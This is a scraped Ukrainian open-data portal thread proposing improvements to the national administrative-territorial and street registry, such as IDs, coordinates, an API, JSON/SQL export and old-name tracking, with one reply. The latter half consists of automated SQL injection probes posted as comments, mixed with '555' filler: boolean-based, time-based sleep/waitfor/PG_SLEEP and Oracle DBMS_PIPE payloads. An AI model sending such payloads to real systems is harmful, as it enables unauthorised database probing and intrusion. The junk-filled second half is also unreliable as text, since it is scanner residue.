Словник адміністративно-територіального устрою України; Словник вулиць населених пунктів та вулиць іменованих об'єктів;

Відкрита

оновлено понад 4 років тому

#3

Модернізація набору даних і його видачі

На жаль подача реєстру у тому форматі, у якому він подається є морально застарілим і дуже незручним для користування.

Було би зручно:

  • розробити систему ідентифікаторів (щоб кожен обєкт мав свій UID)

  • доповнити базу координатами обєктів для відображення їх на картах

  • також можна вказувати кількість населення згідно останнього перепису

  • розробити API (набір функцій) для видачі цих даних

  • видачу робити у json-форматі (принаймі можна додадтково до xml)

  • додатково можна давати завантажити дані в sql-форматі у архіві (створення всіх таблиць через CREATE TABLE і наповнення їх данними через INSERT)

Зміни в реєстрі:

  • для кожного обєкту завести поле "стара назва", при переіменуванні обєкта у цьому полі буде фіксуватися його остання стара назва

  • для окремих обєктів, які втратили чинність, фіксувати це окремим прапорцем, але не видаляти їх з реєстру

  • фіксувати дату зміни кожного обєкту (при зміні назви чи будь-яких інших полів)

  • при використанні в функціях спеціального параметра-дати видавати у результат тільки зміни, які були зроблені після цієї дати

При необхідності можу проконсультувати та допомогти.

Щодо старих назв - підтримую повністю. Щодо попередніх порад про формат - ні. Бо загалом, кому треба sql - той дуже просто може втягнути даний набір даних. В мене на це пішло менше п'яти хвилин(включаючи сам імпорт даних). Прив'язати до цієї таблиці додатково базу КОАТУУ також не потребує багато зусиль. База з переписом також є, і її можна забирати у SOAP, та окремою таблицею зв'язати через КОАТУУ з даним набором. Індивідуально. Саме тому, кому це треба.

@sopilko в мене, наприклад, таке реалізовано, та ніяких змін у базі це не потребувало https://imgur.com/GeUH0cN

555

555

555

dzi4SZEB

-1 OR 2+613-613-1=0+0+0+1 --

-1 OR 2+830-830-1=0+0+0+1

-1' OR 2+283-283-1=0+0+0+1 --

-1' OR 2+767-767-1=0+0+0+1 or 'PDiktk6p'='

-1" OR 2+358-358-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

-1); waitfor delay '0:0:15' --

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

555

555

555

555

-1)) OR 628=(SELECT 628 FROM PG_SLEEP(15))--

9S280M8U') OR 968=(SELECT 968 FROM PG_SLEEP(15))--

555

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

1 waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

yeZFkpou'; waitfor delay '0:0:15' --

-5) OR 951=(SELECT 951 FROM PG_SLEEP(15))--

IXc30LCG' OR 645=(SELECT 645 FROM PG_SLEEP(15))--

555

555

555

555

555

555

Ahg6bTOm')) OR 208=(SELECT 208 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

-5 OR 949=(SELECT 949 FROM PG_SLEEP(15))--

1'"

@@Zj0eF

555

555

555

555

555

555

555

555